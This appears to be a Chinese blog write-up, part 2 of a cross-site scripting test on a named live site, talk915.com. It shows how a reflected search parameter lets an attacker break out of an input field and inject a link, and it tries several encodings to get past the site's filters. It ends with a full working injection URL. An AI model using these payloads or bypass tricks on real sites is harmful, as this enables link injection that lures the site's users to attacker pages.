xss渗透试验（２）
工具：appscan
站点：www.talk915.com
浏览器：IE８，firefox
方法：插入<ahref=””>
由于浏览器在地址内容进行正则的匹配，那么，只能换取一种方式，注入一个超链接标签，而不是直接执行。且这个超链接标签可以诱使用户去点击。
由于XSS攻击脚本还是基于html标签补齐。而SearchWhere所在的标签
<input class="search fl"onkeydown="downEnter()" id="searchWhere"name="searchWhere" value=""/>
由于输入的内容实际上在value里。比如输入1234，就会变成
<input class="search fl" onkeydown="downEnter()" id="searchWhere" name="searchWhere" value="1234"/>
那么，假如输入的内容是
1234"><a href=http://www.bing.com>more result</a>
就会变成
<input class="search fl" onkeydown="downEnter()" id="searchWhere" name="searchWhere" value="1234"><a href=http://www.bing.com>more result</a>"/>
测试一下
firefox:
IE8:
效果不是很好。
把输入内容改为
1234"><a href=http://www.bing.com>more result</a><a href="
测试结果：
IE8：
firefox：
说明这个内容是OK的。
可以拼URL
http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"><a href=http://www.bing.com>moreresult</a><a href="&forumListId=4&selectForumId=1&postTitle=1234
firefox:
IE8:
且那个超链接变成：
<input class="searchfl" onkeydown="downEnter()" id="searchWhere" name="searchWhere" value="1234"><a href=http://www#bing#com>more result</a><a href=""/>
可以拼URL一下，把点改成%2E
http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"><a href=http://www%2Ebing%2Ecom>moreresult</a><a href="&forumListId=4&selectForumId=1&postTitle=1234
IE8仍然是一样的提示。
把%2E变成.，再尝试一下：
http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"><ahref=http://wwwe;bing.com>more result</a><ahref="&forumListId=4&selectForumId=1&postTitle=1234
IE8：
超链接不见了。说明它对http://之类的正则可能也有筛选。
通过appscan的一个工具，把URL拼成这样
http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"%20%2f%3e%3ca+href%3d%22http%3a%2f%2fwww%26%23x2e;bing%26%23x2e;com%22%3emore+result%3c%2fa%3e%3ca+href%3d%22&forumListId=4&selectForumId=1&postTitle=1234
测试一下：
点击more result可以跳转到bing.com